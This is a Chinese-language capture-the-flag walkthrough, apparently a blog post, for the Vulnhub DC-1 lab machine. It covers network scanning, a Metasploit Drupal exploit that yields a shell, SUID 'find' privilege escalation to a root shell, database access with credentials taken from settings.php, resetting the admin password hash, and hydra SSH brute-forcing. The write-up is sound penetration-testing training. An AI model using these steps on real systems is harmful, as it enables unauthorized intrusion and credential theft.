Vulnhub实战靶场:DC-1
安装配置
DC靶场1-9下载链接 链接:https://pan.baidu.com/s/1a5xbx60waiS4uYpkCA8pOA 提取码:tx2j
下载之后解压,直接双击用VM打开。
DC靶机设置网卡为NAT。同时kail也设置为NAT。
直接启动DC靶机就好了,启动时所有选项均勾选“是”
靶场攻略
信息收集
arp-scan -l 查看局域网内存活的主机
发现192.168.131.142主机存活
对其所有端口进行扫描
nmap -p- 192.168.131.142
有四个端口开放
我们先访问80端口 http://192.168.131.142:80
发现是一个可以访问的web网页。
利用火狐插件(Wappalyzer)直接可以看到该靶场相关指纹
我们也可以借助kail的whatweb工具进行相关指纹收集
whatweb http://192.168.131.142/
根据上面的信息收集,我们可以知道该靶场的相关指纹。
CMS:Drupal 7 中间件:apache 2.2.22 PHP 5.4.45
我们先用MSF看一下CMS有没有公布的漏洞
输入命令 search Drupal
搜索到了相关可以利用的exp
![](https://img2020.cnblogs.com/blog/2129747/202011/2129747-20201129175723717-236716719.png)
可以看出最新的是一个APi注入,我们尝试使用一些最新的漏洞利用。
我们直接输入命令 use 4 进入模块
进入模块之后,查看需要设置的相关参数
show options
从上图可以看出我们只需要设置rhost参数就可以了
set rhost 192.168.131.142
启动攻击,成功getshell
输入命令:
shell
python -c 'import pty;pty.spawn("/bin/bash")', 获取以python作为伪终端的交互shell
输入 whoami 查看当前权限
输入 ls -l 查看当前文件夹的文件列表
扩展---利用find直接获取flag4
find / -type f -perm -u=s 2>/dev/null 查看拥有suid权限的文件
发现find命令有suid权限
建立一个文件供find命令使用,也可以使用已经存在的文件。
find 123 -exec "whoami" \;
发现是root权限
这样的话,我们可以使用find命令进行提权。
find 123 -exec "/bin/sh" \;
直接获取flag4
cat /home/flag4/flag4.txt
获取flag1
查看flag1
好像有提示,跟CMS的配置文件有关
百度了一下,drupal的数据库配置文件在 /sites/default/settings.php
发现目标文件
cat settings.php 查看该文件
发现flag2
发现该靶机的数据库密码
mysql -udbuser -pR0ck3t
登录数据库成功
use drupaldb; 进入drupaldb数据库
show tables; 查看数据库的所有表
发现users表
select * from users; 查询users表中相关信息
发现管理员密码
这里我们破解admin 用户密码要耗费时间,我们可以考虑重置admin 用户密码
百度之后,发现drupal 自带脚本重新生成密码
重置管理员密码
退出数据库,并进入到脚本所在/var/www目录
php scripts/password-hash.sh admin
./scripts/password-hash.sh admin
再次进入数据库 mysql -udbuser -pR0ck3t
更新管理员密码为admin
update drupaldb.users set pass="$S$D9/EB/sN8TEfNaCZ74SqGVO0xxuOe/8fZI3LCOMVXSOqiqfNDwDt" where name='admin';
登录后台
拿到flag3
提示passwd,我就只想到了/etc/passwd
cat /etc/passwd
通过查看/etc/passwd
发现flag4用户存在家目录,是可以登录的
但是我们不知道密码,可以尝试爆破。
hydra -l flag4 -P /usr/share/john/password.lst 192.168.131.142 ssh -vV -f -o hydra.ssh
使用ssh连接时出现错误
需要把 PermitRootLogin 注释掉
ssh flag4@192.168.131.142
输入密码 orange 登录成功
获取flag4
登录成功之后,但我们不是root权限
提权
利用find提权
find / -type f -perm -u=s 2>/dev/null 查看具有suid权限的文件
发现find命令具有suid权限
随便建一个文件,供给find查询使用
查询一下find命令的权限
find 123 -exec "whoami" \;
发现find具有root权限
find 123 -exec "/bin/sh" \;
提权成功
flag5
flage5在root目录下。我忘记上图了